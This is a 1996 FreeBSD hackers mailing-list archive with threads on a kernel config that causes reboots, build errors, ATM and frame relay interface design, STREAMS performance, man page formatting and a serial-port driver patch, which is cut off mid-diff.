SMTP id NAA14641; Wed, 26 Jun 1996 13:29:59 +0100 Date: Wed, 26 Jun 1996 13:29:58 +0100 (BST) From: Developer To: "Jordan K. Hubbard" cc: hackers@freebsd.org Subject: Re: BSD V2.2 In-Reply-To: <17770.835783296@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 26 Jun 1996, Jordan K. Hubbard wrote: > Uh, this is an utterly insane kernel configuration file. You started > with LINT, didn't you? Not a good idea - those options aren't meant > to work all at the same time, it's just a reference. Use GENERIC and > go from there. Ive tried a new configuration built from GENERIC, but it still reboots the same:( Any ideas? THanks. Trefor S. # # Tref's config # # $Id: TREF,v 1.70 1996/05/13 04:29:13 nate Exp $ # machine "i386" cpu "I486_CPU" cpu "I586_CPU" cpu "I686_CPU" ident TREF maxusers 48 #options MATH_EMULATE #Support for x87 emulation options INET #InterNETworking options FFS #Berkeley Fast Filesystem options NFS #Network Filesystem options MSDOSFS #MSDOS Filesystem options "CD9660" #ISO 9660 Filesystem options PROCFS #Process filesystem options "COMPAT_43" #Compatible with BSD 4.3 [KEEP THIS!] options SCSI_DELAY=15 #Be pessimistic about Joe SCSI device options BOUNCE_BUFFERS #include support for DMA bounce buffers options UCONSOLE #Allow users to grab the console options FAILSAFE #Be conservative #Options for routing options GATEWAY options MROUTING #kernel tracing options KTRACE #compat/other options options COMPAT_LINUX options QUOTA config kernel root on wd0 controller isa0 controller eisa0 controller pci0 controller fdc0 at isa? port "IO_FD1" bio irq 6 drq 2 vector fdintr disk fd0 at fdc0 drive 0 disk fd1 at fdc0 drive 1 tape ft0 at fdc0 drive 2 controller wdc0 at isa? port "IO_WD1" bio irq 14 vector wdintr disk wd0 at wdc0 drive 0 disk wd1 at wdc0 drive 1 controller wdc1 at isa? port "IO_WD2" bio irq 15 vector wdintr disk wd2 at wdc1 drive 0 disk wd3 at wdc1 drive 1 options ATAPI #Enable ATAPI support for IDE bus options ATAPI_STATIC #Don't do it as an LKM device wcd0 #IDE CD-ROM # A single entry for any of these controllers (ncr, ahb, ahc) is sufficient # for any number of installed devices. controller ncr0 controller ahb0 controller ahc0 controller bt0 at isa? port "IO_BT0" bio irq ? vector bt_isa_intr controller uha0 at isa? port "IO_UHA0" bio irq ? drq 5 vector uhaintr controller aha0 at isa? port "IO_AHA0" bio irq ? drq 5 vector ahaintr controller aic0 at isa? port 0x340 bio irq 11 vector aicintr controller nca0 at isa? port 0x1f88 bio irq 10 vector ncaintr controller nca1 at isa? port 0x350 bio irq 5 vector ncaintr controller sea0 at isa? bio irq 5 iomem 0xc8000 iosiz 0x2000 vector seaintr controller scbus0 device sd0 device od0 device st0 device cd0 #Only need one of these, the code dynamically grows device wt0 at isa? port 0x300 bio irq 5 drq 1 vector wtintr device mcd0 at isa? port 0x300 bio irq 10 vector mcdintr device mcd1 at isa? port 0x340 bio irq 11 vector mcdintr controller matcd0 at isa? port 0x230 bio device scd0 at isa? port 0x230 bio # syscons is the default console driver, resembling an SCO console device sc0 at isa? port "IO_KBD" tty irq 1 vector scintr # Enable this and PCVT_FREEBSD for pcvt vt220 compatible console driver device vt0 at isa? port "IO_KBD" tty irq 1 vector pcrint options PCVT_FREEBSD=210 # pcvt running on FreeBSD >= 2.0.5 #options XSERVER # include code for XFree86 #options FAT_CURSOR # start with block cursor # If you have a ThinkPAD, uncomment this along with the rest of the PCVT lines #options PCVT_SCANSET=2 # IBM keyboards are non-std # Mandatory, don't remove device npx0 at isa? port "IO_NPX" irq 13 vector npxintr # # Laptop support (see LINT for more options) # device apm0 at isa? disable # Advanced Power Management options APM_BROKEN_STATCLOCK # Workaround some buggy APM BIOS # PCCARD (PCMCIA) support #controller crd0 #device pcic0 at crd? #device pcic1 at crd? device sio0 at isa? port "IO_COM1" tty irq 4 vector siointr device sio1 at isa? port "IO_COM2" tty irq 3 vector siointr device sio2 at isa? port "IO_COM3" tty irq 5 vector siointr device sio3 at isa? disable port "IO_COM4" tty irq 9 vector siointr device lpt0 at isa? port? tty irq 7 vector lptintr device lpt1 at isa? port? tty device lpt2 at isa? port? tty device mse0 at isa? port 0x23c tty irq 5 vector mseintr device psm0 at isa? disable port "IO_KBD" conflicts tty irq 12 vector psmintr # Order is important here due to intrusive probes, do *not* alphabetize # this list of network interfaces until the probes have been fixed. # Right now it appears that the ie0 must be probed before ep0. See # revision 1.20 of this file. device de0 device fxp0 device vx0 device ed0 at isa? port 0x260 net irq 3 iomem 0xd8000 vector edintr device ed1 at isa? port 0x300 net irq 5 iomem 0xd8000 vector edintr device ie0 at isa? port 0x360 net irq 7 iomem 0xd0000 vector ieintr device ep0 at isa? port 0x300 net irq 10 vector epintr device fe0 at isa? port 0x300 net irq ? vector feintr device ix0 at isa? port 0x300 net irq 10 iomem 0xd0000 iosiz 32768 vector ixintr device le0 at isa? port 0x300 net irq 5 iomem 0xd0000 vector le_intr device lnc0 at isa? port 0x280 net irq 10 drq 0 vector lncintr device lnc1 at isa? port 0x300 net irq 10 drq 0 vector lncintr device ze0 at isa? port 0x300 net irq 5 iomem 0xd8000 vector zeintr device zp0 at isa? port 0x300 net irq 10 iomem 0xd8000 vector zpintr pseudo-device loop pseudo-device bpfilter 4 pseudo-device ether pseudo-device log pseudo-device sl 1 # ijppp uses tun instead of ppp device pseudo-device ppp 8 pseudo-device sppp pseudo-device tun 8 pseudo-device pty 64 # keep this if you want to be able to continue to use /stand/sysinstall pseudo-device gzip # Exec gzipped a.out's From owner-freebsd-hackers Wed Jun 26 05:28:14 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id FAA05271 for hackers-outgoing; Wed, 26 Jun 1996 05:28:14 -0700 (PDT) Received: from fgate.flevel.co.uk (fgate.flevel.co.uk [194.6.101.2]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id FAA05262 for ; Wed, 26 Jun 1996 05:28:10 -0700 (PDT) Received: from localhost (dev@localhost) by fgate.flevel.co.uk (8.6.12/8.6.9) with SMTP id NAA14732; Wed, 26 Jun 1996 13:33:12 +0100 Date: Wed, 26 Jun 1996 13:33:11 +0100 (BST) From: Developer To: "Jordan K. Hubbard" cc: hackers@freebsd.org Subject: Re: BSD V2.2 In-Reply-To: <17770.835783296@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 26 Jun 1996, Jordan K. Hubbard wrote: > Uh, this is an utterly insane kernel configuration file. You started > with LINT, didn't you? Not a good idea - those options aren't meant > to work all at the same time, it's just a reference. Use GENERIC and > go from there. Ive just tried running the ready compiled kernel from that snapshot and I get the same cold reboot.. I'm beginning to think that there is a bug in this snap that means it won't work :( Regards, Trefor S. From owner-freebsd-hackers Wed Jun 26 08:28:30 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA14810 for hackers-outgoing; Wed, 26 Jun 1996 08:28:30 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id IAA14805 for ; Wed, 26 Jun 1996 08:28:26 -0700 (PDT) Received: from localhost (tom@localhost) by misery.sdf.com (8.7.5/8.6.12) with SMTP id IAA01586; Wed, 26 Jun 1996 08:36:42 -0700 (PDT) Date: Wed, 26 Jun 1996 08:36:41 -0700 (PDT) From: Tom Samplonius To: Developer cc: hackers@freebsd.org Subject: Re: BSD 2.2 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 26 Jun 1996, Developer wrote: > ioconf.o: Undefined symbol `_btintr' referenced from data segment > ioconf.o: Undefined symbol `_ahcdriver' referenced from data segment > ioconf.o: Undefined symbol `_ahcintr' referenced from data segment > *** Error code 1 It looks like the config file itself is out of date. Compare your config file to the GENERIC config file. I suspect that the ahc and bt devices are defined incorrectly. Tom From owner-freebsd-hackers Wed Jun 26 08:34:11 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA15153 for hackers-outgoing; Wed, 26 Jun 1996 08:34:11 -0700 (PDT) Received: from premise.CS.Berkeley.EDU (root@premise.CS.Berkeley.EDU [128.32.33.172]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id IAA15137 for ; Wed, 26 Jun 1996 08:34:06 -0700 (PDT) Received: from premise.CS.Berkeley.EDU (localhost.Berkeley.EDU [127.0.0.1]) by premise.CS.Berkeley.EDU (8.6.11/8.6.9) with ESMTP id IAA20514; Wed, 26 Jun 1996 08:32:47 -0700 Message-Id: <199606261532.IAA20514@premise.CS.Berkeley.EDU> X-Mailer: exmh version 1.6.7 5/3/96 To: "Ron G. Minnich" cc: JULIAN Elischer , hackers@freebsd.org Subject: Re: Frame relay and ATM support: virtual interface per vpi? In-reply-to: Your message of "Tue, 25 Jun 1996 21:56:00 EDT." From: bmah@cs.berkeley.edu (Bruce A. Mah) Reply-to: bmah@cs.berkeley.edu X-Face: g~c`.{#4q0"(V*b#g[i~rXgm*w;:nMfz%_RZLma)UgGN&=j`5vXoU^@n5v4:OO)c["!w)nD/!!~e4Sj7LiT'6*wZ83454H""lb{CC%T37O!!'S$S&D}sem7I[A 2V%N&+ Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 26 Jun 1996 08:32:42 -0700 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk "Ron G. Minnich" writes: > No, one might as well not. Making a case for a virtual interface for each > ATM VCI has no correspondance to an interface per arp table entry. > Ethernet and atm are really very different, given the packet vs. vc model. > You may find what i found, that trying to screw the vc model into the > existing bsd net layer gets somewhat weird. To date, most companies > selling software for atm have made the atm interface work like an ethernet > interface, only a little different. Not a great idea, long term. I'm jumping into this discussion a little late, but: Doesn't it seem that if you do the VIF per VCI model, you're restricting yourself to having only a single VC to any given destination? In other words, it seems that this model would preclude my being able to have multiple VCs to another host. Why might you want to do this? Think of having VCs with different qualities of service for different traffic types. This might not make sense in the environment that MINI is designed for, though. Bruce. From owner-freebsd-hackers Wed Jun 26 08:35:44 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA15231 for hackers-outgoing; Wed, 26 Jun 1996 08:35:44 -0700 (PDT) Received: from tombstone.sunrem.com (tombstone.sunrem.com [206.81.134.54]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id IAA15225 for ; Wed, 26 Jun 1996 08:35:40 -0700 (PDT) Received: (from brandon@localhost) by tombstone.sunrem.com (8.6.12/8.6.12) id JAA02652; Wed, 26 Jun 1996 09:35:39 -0600 Date: Wed, 26 Jun 1996 09:35:38 -0600 (MDT) From: Brandon Gillespie To: freebsd-hackers@freebsd.org Subject: sysinstall and disks.. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jordan.. Which version of sysinstall 'works' for installing new disks? -stable, or only -current? And will the 2.1.5 release include the fixed version, or would the path I want to take include downloading the source and building my own binary? Thanks.. -Brandon Gillespie From owner-freebsd-hackers Wed Jun 26 08:42:48 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA15591 for hackers-outgoing; Wed, 26 Jun 1996 08:42:48 -0700 (PDT) Received: from etinc.com (etinc.com [204.141.244.98]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id IAA15567 for ; Wed, 26 Jun 1996 08:42:20 -0700 (PDT) Received: from mail.etinc.com ([204.141.95.148]) by etinc.com (8.6.12/8.6.9) with SMTP id LAA21205; Wed, 26 Jun 1996 11:50:19 -0400 Date: Wed, 26 Jun 1996 11:50:19 -0400 Message-Id: <199606261550.LAA21205@etinc.com> X-Sender: dennis@etinc.com X-Mailer: Windows Eudora Version 2.0.3 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: "Ron G. Minnich" From: dennis@etinc.com (Dennis) Subject: Re: Frame relay and ATM support: virtual interface per vpi? Cc: hackers@freebsd.org Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >> what do you mean "at the hardware"? >MINI is an interface which has 4096 virtual atm interfaces, i.e. 4096 >independent sets of control/status registers, memory buffers, and >whatever else it takes to support this, at the hardware level. These >resources are addressed on page boundaries. User programs can map in an >individual interface and control it directly. There's a one-to-one >correspondance between VCIs and virtual interfaces. VCI multiplexing is >done in hardware, not in software, which is a fundamental difference from >other atm interfaces. > >There's reasons for doing this outside the scope of this discussion, but >let's just say it makes cluster computing a whole lot easier. You can get >data from app-to-app in a few microseconds, a definite win as compared to >the typical O(500 microseconds) you get from existing atm interfaces. > >The only nice way i've found to do this is to make each hardware mini >interface have a corresponding 'if' structure. in practice i doubt very >much to see more than a fraction of the virtual interfaces used, but you >never know. I'm planning to allocate these structures dynamically. You dont want to do this for frame (or anything else) if you dont have to, as it talks up way too much memory and makes buffering and queuing a nightmare. Since most FR locations have 1 or 2 VCs, its also a real waste. Dennis ---------------------------------------------------------------------------- Emerging Technologies, Inc. http://www.etinc.com Synchronous Communications Cards and Routers For Discriminating Tastes. 56k to T1 and beyond. Frame Relay, PPP, HDLC, and X.25 for BSD/OS, FreeBSD and LINUX From owner-freebsd-hackers Wed Jun 26 08:46:02 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA15764 for hackers-outgoing; Wed, 26 Jun 1996 08:46:02 -0700 (PDT) Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id IAA15757 for ; Wed, 26 Jun 1996 08:46:00 -0700 (PDT) Received: from fgate.flevel.co.uk (fgate.flevel.co.uk [194.6.101.2]) by who.cdrom.com (8.6.12/8.6.11) with ESMTP id IAA25419 for ; Wed, 26 Jun 1996 08:45:55 -0700 Received: from localhost (dev@localhost) by fgate.flevel.co.uk (8.6.12/8.6.9) with SMTP id QAA25444 for ; Wed, 26 Jun 1996 16:49:48 +0100 Date: Wed, 26 Jun 1996 16:49:48 +0100 (BST) From: Developer To: hackers@freebsd.org Subject: Man pages Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm having problems with man pages on one of our bsd servers. On this particular machine all the man pages come out badly formatted.. I get things like:- to....so..uoe.temp.sO doc-syms NAME ls SYNOPSIS ls [FlACFLRTacdfiloqrstu1] [Arfile...] DESCRIPTION Which makes the pages rather hard to read :( Ive tried re-compiling and installing man, troff and the termcap but that doesn't seem to help. I know the pages are okay because they are the same as ones on other machines that do work. The other problem is that when I install the termcap from the 2.1 release the ls command goes funny. The ls -q listing thinks the window is 1 character wider than it really is. Going back to the old term all is okay! Anybody any ideas on either of these problems? Please reply by email to: dev@flevel.co.uk Thanks very much in advance. Regards, Trefor S. From owner-freebsd-hackers Wed Jun 26 08:46:22 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id IAA15821 for hackers-outgoing; Wed, 26 Jun 1996 08:46:22 -0700 (PDT) Received: from fgate.flevel.co.uk (fgate.flevel.co.uk [194.6.101.2]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id IAA15815 for ; Wed, 26 Jun 1996 08:46:16 -0700 (PDT) Received: from localhost (dev@localhost) by fgate.flevel.co.uk (8.6.12/8.6.9) with SMTP id QAA25347; Wed, 26 Jun 1996 16:46:37 +0100 Date: Wed, 26 Jun 1996 16:46:36 +0100 (BST) From: Developer To: Tom Samplonius cc: hackers@freebsd.org Subject: Re: BSD 2.2 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > ioconf.o: Undefined symbol `_btintr' referenced from data segment > > ioconf.o: Undefined symbol `_ahcdriver' referenced from data segment > > ioconf.o: Undefined symbol `_ahcintr' referenced from data segment > > *** Error code 1 > > It looks like the config file itself is out of date. > > Compare your config file to the GENERIC config file. I suspect that the > ahc and bt devices are defined incorrectly. Yes, you are correct:) Thanks, shame that kernel doesn't run on our machines it just crashes:( I'm gonna try the 960501 snap now. Regards, Trefor S. From owner-freebsd-hackers Wed Jun 26 09:06:48 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id JAA16912 for hackers-outgoing; Wed, 26 Jun 1996 09:06:48 -0700 (PDT) Received: from terra.Sarnoff.COM (terra.sarnoff.com [130.33.11.203]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id JAA16907 for ; Wed, 26 Jun 1996 09:06:45 -0700 (PDT) Received: (from rminnich@localhost) by terra.Sarnoff.COM (8.6.12/8.6.12) id MAA02490; Wed, 26 Jun 1996 12:06:13 -0400 Date: Wed, 26 Jun 1996 12:06:12 -0400 (EDT) From: "Ron G. Minnich" X-Sender: rminnich@terra To: hackers@freebsd.org Subject: Re: Frame relay and ATM support: virtual interface per vpi? In-Reply-To: <199606261532.IAA20514@premise.CS.Berkeley.EDU> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Doesn't it seem that if you do the VIF per VCI model, you're > restricting yourself to having only a single VC to any given > destination? In other words, it seems that this model would preclude > my being able to have multiple VCs to another host. not at all. you can have lots of vc's per destination. The reason we've set up to support so many VCs is to support many VCs per host. Again, you have to move your thinking around a bit from the current networking model. Once you start doing that, however, the particular way to plug ATM into the BSD networking architecture is not as obvious as it first seems. We're even looking at having user-mode striped ATM connections between applications, and boy does this make for some changes ... > Why might you want to do this? Think of having VCs with different > qualities of service for different traffic types. This might not make > sense in the environment that MINI is designed for, though. no, bruce, you're on the money. MINI is designed to function in a VC-rich environment, where you might have (e.g.) one open VC per open file on a file server. This is in contrast to the current ATM world in which ALL network traffic from a host goes on a very small number of VCs. Two years ago one of the commercial ATM interfaces available only supported 10 VCs -- total! ron From owner-freebsd-hackers Wed Jun 26 09:11:20 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id JAA17110 for hackers-outgoing; Wed, 26 Jun 1996 09:11:20 -0700 (PDT) Received: from terra.Sarnoff.COM (terra.sarnoff.com [130.33.11.203]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id JAA17105 for ; Wed, 26 Jun 1996 09:11:18 -0700 (PDT) Received: (from rminnich@localhost) by terra.Sarnoff.COM (8.6.12/8.6.12) id MAA02536; Wed, 26 Jun 1996 12:10:46 -0400 Date: Wed, 26 Jun 1996 12:10:46 -0400 (EDT) From: "Ron G. Minnich" X-Sender: rminnich@terra To: hackers@freebsd.org Subject: Re: Frame relay and ATM support: virtual interface per vpi? In-Reply-To: <199606261550.LAA21205@etinc.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > >The only nice way i've found to do this is to make each hardware mini > >interface have a corresponding 'if' structure. in practice i doubt very > >much to see more than a fraction of the virtual interfaces used, but you > >never know. I'm planning to allocate these structures dynamically. > You dont want to do this for frame (or anything else) if you dont have to, as it > talks up way too much memory and makes buffering and queuing a nightmare. > Since most FR locations have 1 or 2 VCs, its also a real waste. Yes, it may well be that what we're doing is too out of the ordinary. We don't have queues, and we don't really have buffers in the traditional style: buffers are allocated in units of pages, since we designed mini for integration with the VM. Ah well, I was hoping to fit in ... it's important to fit in, I'm told :-) interesting discussions. Thanks! ron From owner-freebsd-hackers Wed Jun 26 09:49:11 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id JAA20116 for hackers-outgoing; Wed, 26 Jun 1996 09:49:11 -0700 (PDT) Received: from premise.CS.Berkeley.EDU (root@premise.CS.Berkeley.EDU [128.32.33.172]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id JAA20111 for ; Wed, 26 Jun 1996 09:49:09 -0700 (PDT) Received: from premise.CS.Berkeley.EDU (localhost.Berkeley.EDU [127.0.0.1]) by premise.CS.Berkeley.EDU (8.6.11/8.6.9) with ESMTP id JAA18110; Wed, 26 Jun 1996 09:49:05 -0700 Message-Id: <199606261649.JAA18110@premise.CS.Berkeley.EDU> X-Mailer: exmh version 1.6.7 5/3/96 To: "Ron G. Minnich" cc: hackers@freebsd.org Subject: Re: Frame relay and ATM support: virtual interface per vpi? In-reply-to: Your message of "Wed, 26 Jun 1996 12:06:12 EDT." From: bmah@cs.berkeley.edu (Bruce A. Mah) Reply-to: bmah@cs.berkeley.edu X-Face: g~c`.{#4q0"(V*b#g[i~rXgm*w;:nMfz%_RZLma)UgGN&=j`5vXoU^@n5v4:OO)c["!w)nD/!!~e4Sj7LiT'6*wZ83454H""lb{CC%T37O!!'S$S&D}sem7I[A 2V%N&+ Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 26 Jun 1996 09:49:04 -0700 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk "Ron G. Minnich" writes: > > Doesn't it seem that if you do the VIF per VCI model, you're > > restricting yourself to having only a single VC to any given > > destination? In other words, it seems that this model would preclude > > my being able to have multiple VCs to another host. > not at all. you can have lots of vc's per destination. The reason we've > set up to support so many VCs is to support many VCs per host. Again, you > have to move your thinking around a bit from the current networking > model. Once you start doing that, however, the particular way to plug ATM > into the BSD networking architecture is not as obvious as it first seems. > We're even looking at having user-mode striped ATM connections between > applications, and boy does this make for some changes ... Hmmm. So I guess, w.r.t the BSD networking implementation, one would (for example) associate a TCP connection with a route through the appropriate VIF for that connection's VC? Something like that? The way I've been looking at things is more from a router perspective, in which you have to route packets for flows that don't necessarily originate locally (thus the method I had in mind above doesn't work). In this case, you need a packet classifier in the router (my implementation was in the ATM device driver) to help with the multiplexing. It really violates layering because link-layer code is looking at network and transport layer headers. But there's no other way to get all the information needed. Bruce. From owner-freebsd-hackers Wed Jun 26 09:55:41 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id JAA20380 for hackers-outgoing; Wed, 26 Jun 1996 09:55:41 -0700 (PDT) Received: from mailhost.coppe.ufrj.br (root@cisigw.coppe.ufrj.br [146.164.2.31]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id JAA20371; Wed, 26 Jun 1996 09:55:37 -0700 (PDT) Received: (from jonny@localhost) by mailhost.coppe.ufrj.br (8.7.5/8.7.3) id NAA22619; Wed, 26 Jun 1996 13:54:10 -0300 (EST) From: Joao Carlos Mendes Luis Message-Id: <199606261654.NAA22619@mailhost.coppe.ufrj.br> Subject: Re: STREAMS To: michaelv@HeadCandy.com (Michael L. VanLoon -- HeadCandy.com) Date: Wed, 26 Jun 1996 13:54:10 -0300 (EST) Cc: sterrett@cts.com, questions@freebsd.org, freebsd-hackers@freebsd.org In-Reply-To: <199606260506.WAA00462@MindBender.HeadCandy.com> from "Michael L. VanLoon -- HeadCandy.com" at "Jun 25, 96 10:06:17 pm" X-Mailer: ELM [version 2.4ME+ PL14 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk #define quoting(Michael L. VanLoon -- HeadCandy.com) // >> I took a look at linux streams implementation and that is completely // >> out-performing. We could do really better if there was critical mass // >> enough to start this project. // // Not to be a skeptic (OK, to be a skeptic) what solid data supports // this linux streams thing being "completely out-performing"? Not to // bash the Linux folks, but their enthusiasm and exhuberance many times // overwhelms their ability to judge accurately. Oooooooooooooooooooooooops... English is not my own language and maybe I have expressed myself wrong. Sorry. 8^) With out-performing I wanted to say: "out of an acceptable performance", "bad performing". I say this because ALL of it's buffer allocation scheme is based on the kernel malloc()/free() functions, and not on a pre-allocated buffer pool. Maybe STREAMS implementation could be more easily implemented if we noted the similarities with the BSD scheme, since both derive from the eighth edition streams. (Red Book, page 15) Jonny -- Joao Carlos Mendes Luis jonny@gta.ufrj.br +55 21 290-4698 ( Job ) jonny@cisi.coppe.ufrj.br Network Manager UFRJ/COPPE/CISI Universidade Federal do Rio de Janeiro From owner-freebsd-hackers Wed Jun 26 10:57:03 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id KAA24819 for hackers-outgoing; Wed, 26 Jun 1996 10:57:03 -0700 (PDT) Received: from plains.nodak.edu (tinguely@plains.NoDak.edu [134.129.111.64]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id KAA24814 for ; Wed, 26 Jun 1996 10:57:01 -0700 (PDT) Received: (from tinguely@localhost) by plains.nodak.edu (8.7.1/8.7.1) id MAA28470 for hackers@freebsd.org; Wed, 26 Jun 1996 12:56:55 -0500 (CDT) Date: Wed, 26 Jun 1996 12:56:55 -0500 (CDT) From: Mark Tinguely Message-Id: <199606261756.MAA28470@plains.nodak.edu> To: hackers@freebsd.org Subject: Re: Frame relay and ATM support: virtual interface per vpi? Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I guess I am confused to what scope this VC and address is to be associated. I assumed this was talking about IP over FR/ATM. It does not make any sense that another local native ATM application to need to do a VC/address lookup. As I understand things (hidden disclaimer) that it was up to the application to manage interleaving of messages down a particular VC, so we would not arbitrarilly place information from different appications down a VC. In a simular thread, is there a generic way to access native ATM services like the IP inetd? --mark. From owner-freebsd-hackers Wed Jun 26 12:13:42 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA28815 for hackers-outgoing; Wed, 26 Jun 1996 12:13:42 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id MAA28799 for ; Wed, 26 Jun 1996 12:13:39 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id MAA25955; Wed, 26 Jun 1996 12:13:06 -0700 (PDT) To: Developer cc: hackers@freebsd.org Subject: Re: BSD V2.2 In-reply-to: Your message of "Wed, 26 Jun 1996 13:33:11 BST." Date: Wed, 26 Jun 1996 12:13:05 -0700 Message-ID: <25953.835816385@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Ive just tried running the ready compiled kernel from that snapshot and I > get the same cold reboot.. I'm beginning to think that there is a bug in > this snap that means it won't work :( Well, now that is different. I suspected your config file up to now since you really have turned on some oddball combinations there (and I'd *still* prune it drastically if this other problem weren't occurring since it still looks more like LINT than GENERIC), but if the kernel I supplied is broken then it does indeed look like there's some incompatibility with your system. Can you describe your system configuration to me in detail? Jordan From owner-freebsd-hackers Wed Jun 26 12:16:23 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA29036 for hackers-outgoing; Wed, 26 Jun 1996 12:16:23 -0700 (PDT) Received: from linux4nn.gn.iaf.nl (root@linux4nn.gn.iaf.nl [193.67.144.34]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id MAA29025 for ; Wed, 26 Jun 1996 12:16:09 -0700 (PDT) Received: from uni4nn.iaf.nl (root@uni4nn.iaf.nl [193.67.144.33]) by linux4nn.gn.iaf.nl (8.6.9/8.6.9) with SMTP id VAA29727 for ; Wed, 26 Jun 1996 21:16:00 +0200 Received: by uni4nn.iaf.nl with UUCP id AA28202 (5.67b/IDA-1.5 for freebsd-hackers@freebsd.org); Wed, 26 Jun 1996 21:15:31 +0200 Received: by iafnl.es.iaf.nl with UUCP id AA29745 (5.67b/IDA-1.5 for freebsd-hackers@freebsd.org); Wed, 26 Jun 1996 20:41:39 +0200 Received: (from rene@localhost) by freeze.iaf.nl (8.6.12/8.6.12) id UAA00175 for freebsd-hackers@freebsd.org; Wed, 26 Jun 1996 20:37:59 +0200 From: Rene de Vries Message-Id: <199606261837.UAA00175@freeze.iaf.nl> Subject: SUMMARY: serial port grief on Asus P55TP4N To: freebsd-hackers@freebsd.org (freebsd-hackers) Date: Wed, 26 Jun 1996 20:37:58 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL24 ME8a] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, First of all I would like to thank all of you (and especially Bruce Evans) for helping me out with that nasty serial port thing. I just inspected my Asus P55TP4N (rev 1.01) board and I found that it has a chip called W83877F (Winbond) on the position the manual says the multi-io chip is located. (But hey I am just a simple software engineer). The problem seems to be solved by the following patch. With this patch the speed does not get set if the new speed is equal to the current speed. (Bruce mentioned that the UMC multi-io chip had some problems with setting the speed while receiving data). I don't think this is a 100% patch, but it makes this chip useful for UUCP. Hope this helps. This is the patch (against the sio.c from the 2.1 release CDROM). *** sio.c.orig Tue Jun 25 21:27:34 1996 --- sio.c Tue Jun 25 21:28:30 1996 *************** *** 211,216 **** --- 211,220 ---- struct termios lt_in; /* should be in struct tty */ struct termios lt_out; + #ifdef BROKEN_UART + speed_t current_ospeed; + #endif + bool_t do_timestamp; struct timeval timestamp; *************** *** 626,631 